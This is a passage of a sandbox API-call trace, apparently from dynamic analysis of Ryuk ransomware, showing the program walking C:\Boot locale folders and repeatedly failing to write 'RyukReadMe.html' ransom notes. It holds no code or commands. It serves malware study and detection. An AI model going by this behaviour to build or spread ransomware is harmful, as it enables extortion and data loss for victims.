	[0122.886] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.887] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0122.887] SetLastError (dwErrCode=0x0) 
	[0122.887] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.887] GetLastError () returned 0x5
	[0122.887] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.887] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.888] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.888] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.888] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.888] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.888] SetLastError (dwErrCode=0x0) 
	[0122.888] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\RyukReadMe.html" (normalized: "c:\\boot\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.889] GetLastError () returned 0x5
	[0122.889] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.889] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0122.889] SetLastError (dwErrCode=0x0) 
	[0122.889] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.889] GetLastError () returned 0x5
	[0122.889] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.890] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.890] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.890] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.890] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.890] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.890] SetLastError (dwErrCode=0x0) 
	[0122.890] CreateFileW (lpFileName="C:\\Boot\\it-IT\\RyukReadMe.html" (normalized: "c:\\boot\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.891] GetLastError () returned 0x5
	[0122.891] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.891] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0122.891] SetLastError (dwErrCode=0x0) 
	[0122.891] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.891] GetLastError () returned 0x5
	[0122.892] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.892] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.892] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.892] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.892] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.892] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.893] SetLastError (dwErrCode=0x0) 
	[0122.893] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\RyukReadMe.html" (normalized: "c:\\boot\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.893] GetLastError () returned 0x5
	[0122.893] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.893] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0122.893] SetLastError (dwErrCode=0x0) 
	[0122.893] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.894] GetLastError () returned 0x5
	[0122.894] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.894] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.894] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.894] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.894] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.894] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.895] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.895] SetLastError (dwErrCode=0x0) 
	[0122.895] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\RyukReadMe.html" (normalized: "c:\\boot\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.895] GetLastError () returned 0x5
	[0122.895] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.895] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.895] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x24, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0122.896] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0122.896] SetLastError (dwErrCode=0x0) 
	[0122.896] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.896] GetLastError () returned 0x5
	[0122.896] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.272] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.273] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.273] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.273] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.273] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.273] SetLastError (dwErrCode=0x0) 
	[0123.273] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\RyukReadMe.html" (normalized: "c:\\boot\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.273] GetLastError () returned 0x5
	[0123.273] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.274] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0123.274] SetLastError (dwErrCode=0x0) 
	[0123.274] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.274] GetLastError () returned 0x5
	[0123.274] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.275] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.275] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.275] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.275] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.275] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.276] SetLastError (dwErrCode=0x0) 
	[0123.276] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\RyukReadMe.html" (normalized: "c:\\boot\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.276] GetLastError () returned 0x5
	[0123.276] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
